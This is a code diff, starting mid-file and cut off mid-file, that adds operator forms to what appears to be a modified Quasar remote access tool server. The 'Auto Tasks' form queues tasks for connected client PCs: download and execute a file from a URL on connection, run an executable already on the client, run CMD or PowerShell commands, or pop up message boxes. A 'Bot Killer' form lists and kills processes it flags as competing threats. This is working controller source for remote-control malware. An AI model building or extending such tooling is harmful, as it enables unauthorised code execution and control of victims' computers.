System.Windows.Forms.TextBox(); + this.lblUrl = new System.Windows.Forms.Label(); + this.tabExecuteDisk = new System.Windows.Forms.TabPage(); + this.btnExecuteDisk = new System.Windows.Forms.Button(); + this.btnBrowseDisk = new System.Windows.Forms.Button(); + this.txtDiskPath = new System.Windows.Forms.TextBox(); + this.lblDiskPath = new System.Windows.Forms.Label(); + this.tabCommand = new System.Windows.Forms.TabPage(); + this.btnExecuteCommand = new System.Windows.Forms.Button(); + this.txtCommand = new System.Windows.Forms.TextBox(); + this.lblCommand = new System.Windows.Forms.Label(); + this.rbPowerShell = new System.Windows.Forms.RadioButton(); + this.rbCmd = new System.Windows.Forms.RadioButton(); + this.lblShell = new System.Windows.Forms.Label(); + this.tabMessageBox = new System.Windows.Forms.TabPage(); + this.btnShowMessage = new System.Windows.Forms.Button(); + this.gbIcon = new System.Windows.Forms.GroupBox(); + this.rbQuestion = new System.Windows.Forms.RadioButton(); + this.rbError = new System.Windows.Forms.RadioButton(); + this.rbWarning = new System.Windows.Forms.RadioButton(); + this.rbInfo = new System.Windows.Forms.RadioButton(); + this.rbNone = new System.Windows.Forms.RadioButton(); + this.txtMsgText = new System.Windows.Forms.TextBox(); + this.lblMsgText = new System.Windows.Forms.Label(); + this.txtMsgCaption = new System.Windows.Forms.TextBox(); + this.lblMsgCaption = new System.Windows.Forms.Label(); + this.btnClearAll = new System.Windows.Forms.Button(); + this.btnRemove = new System.Windows.Forms.Button(); + this.lstTasks = new System.Windows.Forms.ListBox(); + this.lblTasks = new System.Windows.Forms.Label(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer)).BeginInit(); + this.splitContainer.Panel1.SuspendLayout(); + this.splitContainer.Panel2.SuspendLayout(); + this.splitContainer.SuspendLayout(); + this.tabControl.SuspendLayout(); + this.tabExecuteUrl.SuspendLayout(); + this.gbTrigger.SuspendLayout(); + this.tabExecuteDisk.SuspendLayout(); + this.tabCommand.SuspendLayout(); + this.tabMessageBox.SuspendLayout(); + this.gbIcon.SuspendLayout(); + this.SuspendLayout(); + // + // splitContainer + // + this.splitContainer.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer.Location = new System.Drawing.Point(0, 0); + this.splitContainer.Margin = new System.Windows.Forms.Padding(4); + this.splitContainer.Name = "splitContainer"; + // + // splitContainer.Panel1 + // + this.splitContainer.Panel1.Controls.Add(this.tabControl); + // + // splitContainer.Panel2 + // + this.splitContainer.Panel2.Controls.Add(this.btnClearAll); + this.splitContainer.Panel2.Controls.Add(this.btnRemove); + this.splitContainer.Panel2.Controls.Add(this.lstTasks); + this.splitContainer.Panel2.Controls.Add(this.lblTasks); + this.splitContainer.Panel2.ForeColor = System.Drawing.Color.White; + this.splitContainer.Size = new System.Drawing.Size(1200, 558); + this.splitContainer.SplitterDistance = 666; + this.splitContainer.SplitterWidth = 5; + this.splitContainer.TabIndex = 0; + // + // tabControl + // + this.tabControl.Controls.Add(this.tabExecuteUrl); + this.tabControl.Controls.Add(this.tabExecuteDisk); + this.tabControl.Controls.Add(this.tabCommand); + this.tabControl.Controls.Add(this.tabMessageBox); + this.tabControl.Dock = System.Windows.Forms.DockStyle.Fill; + this.tabControl.Location = new System.Drawing.Point(0, 0); + this.tabControl.Margin = new System.Windows.Forms.Padding(4); + this.tabControl.Name = "tabControl"; + this.tabControl.SelectedIndex = 0; + this.tabControl.Size = new System.Drawing.Size(666, 558); + this.tabControl.TabIndex = 0; + // + // tabExecuteUrl + // + this.tabExecuteUrl.Controls.Add(this.gbTrigger); + this.tabExecuteUrl.Controls.Add(this.btnExecuteUrl); + this.tabExecuteUrl.Controls.Add(this.txtUrl); + this.tabExecuteUrl.Controls.Add(this.lblUrl); + this.tabExecuteUrl.ForeColor = System.Drawing.Color.White; + this.tabExecuteUrl.Location = new System.Drawing.Point(4, 25); + this.tabExecuteUrl.Margin = new System.Windows.Forms.Padding(4); + this.tabExecuteUrl.Name = "tabExecuteUrl"; + this.tabExecuteUrl.Padding = new System.Windows.Forms.Padding(4); + this.tabExecuteUrl.Size = new System.Drawing.Size(658, 529); + this.tabExecuteUrl.TabIndex = 0; + this.tabExecuteUrl.Text = "Execute from URL"; + this.tabExecuteUrl.UseVisualStyleBackColor = true; + // + // gbTrigger + // + this.gbTrigger.Controls.Add(this.rbAllConnections); + this.gbTrigger.Controls.Add(this.rbInitial); + this.gbTrigger.Location = new System.Drawing.Point(20, 98); + this.gbTrigger.Margin = new System.Windows.Forms.Padding(4); + this.gbTrigger.Name = "gbTrigger"; + this.gbTrigger.Padding = new System.Windows.Forms.Padding(4); + this.gbTrigger.Size = new System.Drawing.Size(560, 74); + this.gbTrigger.TabIndex = 3; + this.gbTrigger.TabStop = false; + this.gbTrigger.Text = "Trigger"; + // + // rbAllConnections + // + this.rbAllConnections.AutoSize = true; + this.rbAllConnections.Location = new System.Drawing.Point(200, 31); + this.rbAllConnections.Margin = new System.Windows.Forms.Padding(4); + this.rbAllConnections.Name = "rbAllConnections"; + this.rbAllConnections.Size = new System.Drawing.Size(120, 20); + this.rbAllConnections.TabIndex = 1; + this.rbAllConnections.Text = "All Connections"; + this.rbAllConnections.UseVisualStyleBackColor = true; + // + // rbInitial + // + this.rbInitial.AutoSize = true; + this.rbInitial.Checked = true; + this.rbInitial.Location = new System.Drawing.Point(20, 31); + this.rbInitial.Margin = new System.Windows.Forms.Padding(4); + this.rbInitial.Name = "rbInitial"; + this.rbInitial.Size = new System.Drawing.Size(128, 20); + this.rbInitial.TabIndex = 0; + this.rbInitial.TabStop = true; + this.rbInitial.Text = "Initial Connection"; + this.rbInitial.UseVisualStyleBackColor = true; + // + // btnExecuteUrl + // + this.btnExecuteUrl.Location = new System.Drawing.Point(20, 197); + this.btnExecuteUrl.Margin = new System.Windows.Forms.Padding(4); + this.btnExecuteUrl.Name = "btnExecuteUrl"; + this.btnExecuteUrl.Size = new System.Drawing.Size(160, 37); + this.btnExecuteUrl.TabIndex = 2; + this.btnExecuteUrl.Text = "Add Task"; + this.btnExecuteUrl.UseVisualStyleBackColor = true; + this.btnExecuteUrl.Click += new System.EventHandler(this.btnExecuteUrl_Click); + // + // txtUrl + // + this.txtUrl.Location = new System.Drawing.Point(20, 49); + this.txtUrl.Margin = new System.Windows.Forms.Padding(4); + this.txtUrl.Name = "txtUrl"; + this.txtUrl.Size = new System.Drawing.Size(559, 22); + this.txtUrl.TabIndex = 1; + // + // lblUrl + // + this.lblUrl.AutoSize = true; + this.lblUrl.Location = new System.Drawing.Point(16, 25); + this.lblUrl.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblUrl.Name = "lblUrl"; + this.lblUrl.Size = new System.Drawing.Size(37, 16); + this.lblUrl.TabIndex = 0; + this.lblUrl.Text = "URL:"; + // + // tabExecuteDisk + // + this.tabExecuteDisk.Controls.Add(this.btnExecuteDisk); + this.tabExecuteDisk.Controls.Add(this.btnBrowseDisk); + this.tabExecuteDisk.Controls.Add(this.txtDiskPath); + this.tabExecuteDisk.Controls.Add(this.lblDiskPath); + this.tabExecuteDisk.ForeColor = System.Drawing.Color.White; + this.tabExecuteDisk.Location = new System.Drawing.Point(4, 25); + this.tabExecuteDisk.Margin = new System.Windows.Forms.Padding(4); + this.tabExecuteDisk.Name = "tabExecuteDisk"; + this.tabExecuteDisk.Padding = new System.Windows.Forms.Padding(4); + this.tabExecuteDisk.Size = new System.Drawing.Size(658, 529); + this.tabExecuteDisk.TabIndex = 1; + this.tabExecuteDisk.Text = "Execute from Disk"; + this.tabExecuteDisk.UseVisualStyleBackColor = true; + // + // btnExecuteDisk + // + this.btnExecuteDisk.Location = new System.Drawing.Point(20, 98); + this.btnExecuteDisk.Margin = new System.Windows.Forms.Padding(4); + this.btnExecuteDisk.Name = "btnExecuteDisk"; + this.btnExecuteDisk.Size = new System.Drawing.Size(160, 37); + this.btnExecuteDisk.TabIndex = 3; + this.btnExecuteDisk.Text = "Add Task"; + this.btnExecuteDisk.UseVisualStyleBackColor = true; + this.btnExecuteDisk.Click += new System.EventHandler(this.btnExecuteDisk_Click); + // + // btnBrowseDisk + // + this.btnBrowseDisk.Location = new System.Drawing.Point(455, 47); + this.btnBrowseDisk.Margin = new System.Windows.Forms.Padding(4); + this.btnBrowseDisk.Name = "btnBrowseDisk"; + this.btnBrowseDisk.Size = new System.Drawing.Size(125, 32); + this.btnBrowseDisk.TabIndex = 2; + this.btnBrowseDisk.Text = "Browse..."; + this.btnBrowseDisk.UseVisualStyleBackColor = true; + this.btnBrowseDisk.Click += new System.EventHandler(this.btnBrowseDisk_Click); + // + // txtDiskPath + // + this.txtDiskPath.Location = new System.Drawing.Point(20, 49); + this.txtDiskPath.Margin = new System.Windows.Forms.Padding(4); + this.txtDiskPath.Name = "txtDiskPath"; + this.txtDiskPath.ReadOnly = true; + this.txtDiskPath.Size = new System.Drawing.Size(425, 22); + this.txtDiskPath.TabIndex = 1; + // + // lblDiskPath + // + this.lblDiskPath.AutoSize = true; + this.lblDiskPath.Location = new System.Drawing.Point(16, 25); + this.lblDiskPath.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblDiskPath.Name = "lblDiskPath"; + this.lblDiskPath.Size = new System.Drawing.Size(143, 16); + this.lblDiskPath.TabIndex = 0; + this.lblDiskPath.Text = "File Path (on client PC):"; + // + // tabCommand + // + this.tabCommand.Controls.Add(this.btnExecuteCommand); + this.tabCommand.Controls.Add(this.txtCommand); + this.tabCommand.Controls.Add(this.lblCommand); + this.tabCommand.Controls.Add(this.rbPowerShell); + this.tabCommand.Controls.Add(this.rbCmd); + this.tabCommand.Controls.Add(this.lblShell); + this.tabCommand.ForeColor = System.Drawing.Color.White; + this.tabCommand.Location = new System.Drawing.Point(4, 25); + this.tabCommand.Margin = new System.Windows.Forms.Padding(4); + this.tabCommand.Name = "tabCommand"; + this.tabCommand.Size = new System.Drawing.Size(658, 529); + this.tabCommand.TabIndex = 2; + this.tabCommand.Text = "Command"; + this.tabCommand.UseVisualStyleBackColor = true; + // + // btnExecuteCommand + // + this.btnExecuteCommand.Location = new System.Drawing.Point(20, 283); + this.btnExecuteCommand.Margin = new System.Windows.Forms.Padding(4); + this.btnExecuteCommand.Name = "btnExecuteCommand"; + this.btnExecuteCommand.Size = new System.Drawing.Size(160, 37); + this.btnExecuteCommand.TabIndex = 5; + this.btnExecuteCommand.Text = "Add Task"; + this.btnExecuteCommand.UseVisualStyleBackColor = true; + this.btnExecuteCommand.Click += new System.EventHandler(this.btnExecuteCommand_Click); + // + // txtCommand + // + this.txtCommand.Location = new System.Drawing.Point(20, 111); + this.txtCommand.Margin = new System.Windows.Forms.Padding(4); + this.txtCommand.Multiline = true; + this.txtCommand.Name = "txtCommand"; + this.txtCommand.Size = new System.Drawing.Size(559, 159); + this.txtCommand.TabIndex = 4; + // + // lblCommand + // + this.lblCommand.AutoSize = true; + this.lblCommand.Location = new System.Drawing.Point(16, 86); + this.lblCommand.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblCommand.Name = "lblCommand"; + this.lblCommand.Size = new System.Drawing.Size(72, 16); + this.lblCommand.TabIndex = 3; + this.lblCommand.Text = "Command:"; + // + // rbPowerShell + // + this.rbPowerShell.AutoSize = true; + this.rbPowerShell.Location = new System.Drawing.Point(120, 49); + this.rbPowerShell.Margin = new System.Windows.Forms.Padding(4); + this.rbPowerShell.Name = "rbPowerShell"; + this.rbPowerShell.Size = new System.Drawing.Size(96, 20); + this.rbPowerShell.TabIndex = 2; + this.rbPowerShell.Text = "PowerShell"; + this.rbPowerShell.UseVisualStyleBackColor = true; + // + // rbCmd + // + this.rbCmd.AutoSize = true; + this.rbCmd.Checked = true; + this.rbCmd.Location = new System.Drawing.Point(20, 49); + this.rbCmd.Margin = new System.Windows.Forms.Padding(4); + this.rbCmd.Name = "rbCmd"; + this.rbCmd.Size = new System.Drawing.Size(58, 20); + this.rbCmd.TabIndex = 1; + this.rbCmd.TabStop = true; + this.rbCmd.Text = "CMD"; + this.rbCmd.UseVisualStyleBackColor = true; + // + // lblShell + // + this.lblShell.AutoSize = true; + this.lblShell.Location = new System.Drawing.Point(16, 25); + this.lblShell.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblShell.Name = "lblShell"; + this.lblShell.Size = new System.Drawing.Size(40, 16); + this.lblShell.TabIndex = 0; + this.lblShell.Text = "Shell:"; + // + // tabMessageBox + // + this.tabMessageBox.Controls.Add(this.btnShowMessage); + this.tabMessageBox.Controls.Add(this.gbIcon); + this.tabMessageBox.Controls.Add(this.txtMsgText); + this.tabMessageBox.Controls.Add(this.lblMsgText); + this.tabMessageBox.Controls.Add(this.txtMsgCaption); + this.tabMessageBox.Controls.Add(this.lblMsgCaption); + this.tabMessageBox.ForeColor = System.Drawing.Color.White; + this.tabMessageBox.Location = new System.Drawing.Point(4, 25); + this.tabMessageBox.Margin = new System.Windows.Forms.Padding(4); + this.tabMessageBox.Name = "tabMessageBox"; + this.tabMessageBox.Size = new System.Drawing.Size(658, 529); + this.tabMessageBox.TabIndex = 3; + this.tabMessageBox.Text = "Message Box"; + this.tabMessageBox.UseVisualStyleBackColor = true; + // + // btnShowMessage + // + this.btnShowMessage.Location = new System.Drawing.Point(20, 283); + this.btnShowMessage.Margin = new System.Windows.Forms.Padding(4); + this.btnShowMessage.Name = "btnShowMessage"; + this.btnShowMessage.Size = new System.Drawing.Size(160, 37); + this.btnShowMessage.TabIndex = 5; + this.btnShowMessage.Text = "Add Task"; + this.btnShowMessage.UseVisualStyleBackColor = true; + this.btnShowMessage.Click += new System.EventHandler(this.btnShowMessage_Click); + // + // gbIcon + // + this.gbIcon.Controls.Add(this.rbQuestion); + this.gbIcon.Controls.Add(this.rbError); + this.gbIcon.Controls.Add(this.rbWarning); + this.gbIcon.Controls.Add(this.rbInfo); + this.gbIcon.Controls.Add(this.rbNone); + this.gbIcon.Location = new System.Drawing.Point(333, 25); + this.gbIcon.Margin = new System.Windows.Forms.Padding(4); + this.gbIcon.Name = "gbIcon"; + this.gbIcon.Padding = new System.Windows.Forms.Padding(4); + this.gbIcon.Size = new System.Drawing.Size(247, 246); + this.gbIcon.TabIndex = 4; + this.gbIcon.TabStop = false; + this.gbIcon.Text = "Icon"; + // + // rbQuestion + // + this.rbQuestion.AutoSize = true; + this.rbQuestion.Location = new System.Drawing.Point(20, 142); + this.rbQuestion.Margin = new System.Windows.Forms.Padding(4); + this.rbQuestion.Name = "rbQuestion"; + this.rbQuestion.Size = new System.Drawing.Size(81, 20); + this.rbQuestion.TabIndex = 4; + this.rbQuestion.Text = "Question"; + this.rbQuestion.UseVisualStyleBackColor = true; + // + // rbError + // + this.rbError.AutoSize = true; + this.rbError.Location = new System.Drawing.Point(20, 113); + this.rbError.Margin = new System.Windows.Forms.Padding(4); + this.rbError.Name = "rbError"; + this.rbError.Size = new System.Drawing.Size(57, 20); + this.rbError.TabIndex = 3; + this.rbError.Text = "Error"; + this.rbError.UseVisualStyleBackColor = true; + // + // rbWarning + // + this.rbWarning.AutoSize = true; + this.rbWarning.Location = new System.Drawing.Point(20, 85); + this.rbWarning.Margin = new System.Windows.Forms.Padding(4); + this.rbWarning.Name = "rbWarning"; + this.rbWarning.Size = new System.Drawing.Size(78, 20); + this.rbWarning.TabIndex = 2; + this.rbWarning.Text = "Warning"; + this.rbWarning.UseVisualStyleBackColor = true; + // + // rbInfo + // + this.rbInfo.AutoSize = true; + this.rbInfo.Location = new System.Drawing.Point(20, 57); + this.rbInfo.Margin = new System.Windows.Forms.Padding(4); + this.rbInfo.Name = "rbInfo"; + this.rbInfo.Size = new System.Drawing.Size(93, 20); + this.rbInfo.TabIndex = 1; + this.rbInfo.Text = "Information"; + this.rbInfo.UseVisualStyleBackColor = true; + // + // rbNone + // + this.rbNone.AutoSize = true; + this.rbNone.Checked = true; + this.rbNone.Location = new System.Drawing.Point(20, 28); + this.rbNone.Margin = new System.Windows.Forms.Padding(4); + this.rbNone.Name = "rbNone"; + this.rbNone.Size = new System.Drawing.Size(61, 20); + this.rbNone.TabIndex = 0; + this.rbNone.TabStop = true; + this.rbNone.Text = "None"; + this.rbNone.UseVisualStyleBackColor = true; + // + // txtMsgText + // + this.txtMsgText.Location = new System.Drawing.Point(20, 111); + this.txtMsgText.Margin = new System.Windows.Forms.Padding(4); + this.txtMsgText.Multiline = true; + this.txtMsgText.Name = "txtMsgText"; + this.txtMsgText.Size = new System.Drawing.Size(292, 159); + this.txtMsgText.TabIndex = 3; + // + // lblMsgText + // + this.lblMsgText.AutoSize = true; + this.lblMsgText.Location = new System.Drawing.Point(16, 86); + this.lblMsgText.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblMsgText.Name = "lblMsgText"; + this.lblMsgText.Size = new System.Drawing.Size(36, 16); + this.lblMsgText.TabIndex = 2; + this.lblMsgText.Text = "Text:"; + // + // txtMsgCaption + // + this.txtMsgCaption.Location = new System.Drawing.Point(20, 49); + this.txtMsgCaption.Margin = new System.Windows.Forms.Padding(4); + this.txtMsgCaption.Name = "txtMsgCaption"; + this.txtMsgCaption.Size = new System.Drawing.Size(292, 22); + this.txtMsgCaption.TabIndex = 1; + // + // lblMsgCaption + // + this.lblMsgCaption.AutoSize = true; + this.lblMsgCaption.Location = new System.Drawing.Point(16, 25); + this.lblMsgCaption.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblMsgCaption.Name = "lblMsgCaption"; + this.lblMsgCaption.Size = new System.Drawing.Size(56, 16); + this.lblMsgCaption.TabIndex = 0; + this.lblMsgCaption.Text = "Caption:"; + // + // btnClearAll + // + this.btnClearAll.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); + this.btnClearAll.Location = new System.Drawing.Point(194, 222); + this.btnClearAll.Margin = new System.Windows.Forms.Padding(4); + this.btnClearAll.Name = "btnClearAll"; + this.btnClearAll.Size = new System.Drawing.Size(160, 37); + this.btnClearAll.TabIndex = 3; + this.btnClearAll.Text = "Clear All"; + this.btnClearAll.UseVisualStyleBackColor = true; + this.btnClearAll.Click += new System.EventHandler(this.btnClearAll_Click); + // + // btnRemove + // + this.btnRemove.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); + this.btnRemove.Location = new System.Drawing.Point(17, 222); + this.btnRemove.Margin = new System.Windows.Forms.Padding(4); + this.btnRemove.Name = "btnRemove"; + this.btnRemove.Size = new System.Drawing.Size(160, 37); + this.btnRemove.TabIndex = 2; + this.btnRemove.Text = "Remove Selected"; + this.btnRemove.UseVisualStyleBackColor = true; + this.btnRemove.Click += new System.EventHandler(this.btnRemove_Click); + // + // lstTasks + // + this.lstTasks.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.lstTasks.FormattingEnabled = true; + this.lstTasks.ItemHeight = 16; + this.lstTasks.Location = new System.Drawing.Point(13, 37); + this.lstTasks.Margin = new System.Windows.Forms.Padding(4); + this.lstTasks.Name = "lstTasks"; + this.lstTasks.Size = new System.Drawing.Size(492, 180); + this.lstTasks.TabIndex = 0; + // + // lblTasks + // + this.lblTasks.AutoSize = true; + this.lblTasks.Font = new System.Drawing.Font("Segoe UI", 9F, System.Drawing.FontStyle.Bold); + this.lblTasks.Location = new System.Drawing.Point(13, 12); + this.lblTasks.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblTasks.Name = "lblTasks"; + this.lblTasks.Size = new System.Drawing.Size(133, 20); + this.lblTasks.TabIndex = 1; + this.lblTasks.Text = "Configured Tasks:"; + // + // FrmAutoTasks + // + this.AutoScaleDimensions = new System.Drawing.SizeF(8F, 16F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(1200, 558); + this.Controls.Add(this.splitContainer); + this.Margin = new System.Windows.Forms.Padding(4); + this.MinimumSize = new System.Drawing.Size(1061, 605); + this.Name = "FrmAutoTasks"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterParent; + this.Text = "Auto Tasks"; + this.splitContainer.Panel1.ResumeLayout(false); + this.splitContainer.Panel2.ResumeLayout(false); + this.splitContainer.Panel2.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer)).EndInit(); + this.splitContainer.ResumeLayout(false); + this.tabControl.ResumeLayout(false); + this.tabExecuteUrl.ResumeLayout(false); + this.tabExecuteUrl.PerformLayout(); + this.gbTrigger.ResumeLayout(false); + this.gbTrigger.PerformLayout(); + this.tabExecuteDisk.ResumeLayout(false); + this.tabExecuteDisk.PerformLayout(); + this.tabCommand.ResumeLayout(false); + this.tabCommand.PerformLayout(); + this.tabMessageBox.ResumeLayout(false); + this.tabMessageBox.PerformLayout(); + this.gbIcon.ResumeLayout(false); + this.gbIcon.PerformLayout(); + this.ResumeLayout(false); + + } + + + private string GetTrigger() + { + if (rbInitial.Checked) return "Initial"; + if (rbAllConnections.Checked) return "All"; + return "Initial"; + } + + private void RefreshTaskList() + { + lstTasks.Items.Clear(); + foreach (var task in ConfiguredTasks) + { + string display = $"[{task.Trigger}] {task.TaskType}"; + if (!string.IsNullOrEmpty(task.Param1)) + display += $" - {task.Param1}"; + lstTasks.Items.Add(display); + } + } + + private void btnExecuteUrl_Click(object sender, EventArgs e) + { + if (string.IsNullOrWhiteSpace(txtUrl.Text)) + { + MessageBox.Show("Please enter a URL.", "Validation Error", MessageBoxButtons.OK, MessageBoxIcon.Warning); + return; + } + + ConfiguredTasks.Add(new AutoTaskConfig + { + Trigger = GetTrigger(), + TaskType = "EXECUTE_URL", + Param1 = txtUrl.Text + }); + + SaveAutoTasks(); + MessageBox.Show("Task added successfully!", "Auto Tasks", MessageBoxButtons.OK, MessageBoxIcon.Information); + txtUrl.Clear(); + RefreshTaskList(); + } + + private void btnBrowseDisk_Click(object sender, EventArgs e) + { + using (var openFileDialog = new OpenFileDialog()) + { + openFileDialog.Title = "Select File to Execute"; + openFileDialog.Filter = "Executable Files (*.exe)|*.exe|All Files (*.*)|*.*"; + + if (openFileDialog.ShowDialog() == DialogResult.OK) + { + txtDiskPath.Text = openFileDialog.FileName; + } + } + } + + private void btnExecuteDisk_Click(object sender, EventArgs e) + { + if (string.IsNullOrWhiteSpace(txtDiskPath.Text)) + { + MessageBox.Show("Please select a file path.", "Validation Error", MessageBoxButtons.OK, MessageBoxIcon.Warning); + return; + } + + ConfiguredTasks.Add(new AutoTaskConfig + { + Trigger = "Initial", + TaskType = "EXECUTE_DISK", + Param1 = txtDiskPath.Text + }); + + SaveAutoTasks(); + MessageBox.Show("Task added successfully!", "Auto Tasks", MessageBoxButtons.OK, MessageBoxIcon.Information); + txtDiskPath.Clear(); + RefreshTaskList(); + } + + + private void btnExecuteCommand_Click(object sender, EventArgs e) + { + if (string.IsNullOrWhiteSpace(txtCommand.Text)) + { + MessageBox.Show("Please enter a command.", "Validation Error", MessageBoxButtons.OK, MessageBoxIcon.Warning); + return; + } + + string shell = rbCmd.Checked ? "cmd" : "powershell"; + + ConfiguredTasks.Add(new AutoTaskConfig + { + Trigger = "Initial", + TaskType = "COMMAND", + Param1 = shell, + Param2 = txtCommand.Text + }); + + SaveAutoTasks(); + MessageBox.Show("Task added successfully!", "Auto Tasks", MessageBoxButtons.OK, MessageBoxIcon.Information); + txtCommand.Clear(); + RefreshTaskList(); + } + + private void btnShowMessage_Click(object sender, EventArgs e) + { + if (string.IsNullOrWhiteSpace(txtMsgCaption.Text) || string.IsNullOrWhiteSpace(txtMsgText.Text)) + { + MessageBox.Show("Please enter both caption and message text.", "Validation Error", MessageBoxButtons.OK, MessageBoxIcon.Warning); + return; + } + + string icon = "None"; + if (rbInfo.Checked) icon = "Information"; + else if (rbWarning.Checked) icon = "Warning"; + else if (rbError.Checked) icon = "Error"; + else if (rbQuestion.Checked) icon = "Question"; + + ConfiguredTasks.Add(new AutoTaskConfig + { + Trigger = "Initial", + TaskType = "MESSAGEBOX", + Param1 = txtMsgCaption.Text, + Param2 = txtMsgText.Text, + Param3 = icon + }); + + SaveAutoTasks(); + MessageBox.Show("Task added successfully!", "Auto Tasks", MessageBoxButtons.OK, MessageBoxIcon.Information); + txtMsgCaption.Clear(); + txtMsgText.Clear(); + RefreshTaskList(); + } + + private void btnRemove_Click(object sender, EventArgs e) + { + if (lstTasks.SelectedIndex >= 0) + { + ConfiguredTasks.RemoveAt(lstTasks.SelectedIndex); + SaveAutoTasks(); + RefreshTaskList(); + MessageBox.Show("Task removed successfully!", "Auto Tasks", MessageBoxButtons.OK, MessageBoxIcon.Information); + } + else + { + MessageBox.Show("Please select a task to remove.", "No Selection", MessageBoxButtons.OK, MessageBoxIcon.Warning); + } + } + + private void btnClearAll_Click(object sender, EventArgs e) + { + if (ConfiguredTasks.Count == 0) + { + MessageBox.Show("No tasks to clear.", "Auto Tasks", MessageBoxButtons.OK, MessageBoxIcon.Information); + return; + } + + var result = MessageBox.Show($"Are you sure you want to remove all {ConfiguredTasks.Count} task(s)?", + "Confirm Clear All", MessageBoxButtons.YesNo, MessageBoxIcon.Question); + + if (result == DialogResult.Yes) + { + ConfiguredTasks.Clear(); + SaveAutoTasks(); + RefreshTaskList(); + MessageBox.Show("All tasks cleared!", "Auto Tasks", MessageBoxButtons.OK, MessageBoxIcon.Information); + } + } + + private void btnClose_Click(object sender, EventArgs e) + { + // Don't close if embedded in a tab (TopLevel = false) + if (this.TopLevel) + this.Close(); + } + } + + [Serializable] + public class AutoTaskConfig + { + public string Trigger { get; set; } + public string TaskType { get; set; } + public string Param1 { get; set; } + public string Param2 { get; set; } + public string Param3 { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmAutoTasks.resx b/Quasar-1.4.1/Quasar.Server/Forms/FrmAutoTasks.resx new file mode 100755 index 0000000..d58980a --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmAutoTasks.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmBotKiller.Designer.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmBotKiller.Designer.cs new file mode 100755 index 0000000..5aef813 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmBotKiller.Designer.cs @@ -0,0 +1,175 @@ +namespace Quasar.Server.Forms +{ + partial class FrmBotKiller + { + private System.ComponentModel.IContainer components = null; + + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + private void InitializeComponent() + { + this.lstThreats = new System.Windows.Forms.ListView(); + this.columnProcess = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.columnPID = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.columnPath = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.columnThreat = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.columnMutex = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.columnKilled = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.txtLog = new System.Windows.Forms.RichTextBox(); + this.btnScan = new System.Windows.Forms.Button(); + this.btnClear = new System.Windows.Forms.Button(); + this.label1 = new System.Windows.Forms.Label(); + this.label2 = new System.Windows.Forms.Label(); + this.SuspendLayout(); + // + // lstThreats + // + this.lstThreats.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] { + this.columnProcess, + this.columnPID, + this.columnPath, + this.columnThreat, + this.columnMutex, + this.columnKilled}); + this.lstThreats.FullRowSelect = true; + this.lstThreats.GridLines = false; + this.lstThreats.HideSelection = false; + this.lstThreats.Location = new System.Drawing.Point(12, 32); + this.lstThreats.Name = "lstThreats"; + this.lstThreats.Size = new System.Drawing.Size(860, 250); + this.lstThreats.TabIndex = 0; + this.lstThreats.UseCompatibleStateImageBehavior = false; + this.lstThreats.View = System.Windows.Forms.View.Details; + // + // columnProcess + // + this.columnProcess.Text = "Process"; + this.columnProcess.Width = 120; + // + // columnPID + // + this.columnPID.Text = "PID"; + this.columnPID.Width = 60; + // + // columnPath + // + this.columnPath.Text = "File Path"; + this.columnPath.Width = 250; + // + // columnThreat + // + this.columnThreat.Text = "Threat Type"; + this.columnThreat.Width = 120; + // + // columnMutex + // + this.columnMutex.Text = "Mutex"; + this.columnMutex.Width = 200; + // + // columnKilled + // + this.columnKilled.Text = "Killed"; + this.columnKilled.Width = 60; + // + // txtLog + // + this.txtLog.BackColor = System.Drawing.Color.Black; + this.txtLog.Font = new System.Drawing.Font("Consolas", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.txtLog.ForeColor = System.Drawing.Color.White; + this.txtLog.Location = new System.Drawing.Point(12, 308); + this.txtLog.Name = "txtLog"; + this.txtLog.ReadOnly = true; + this.txtLog.Size = new System.Drawing.Size(860, 180); + this.txtLog.TabIndex = 1; + this.txtLog.Text = ""; + // + // 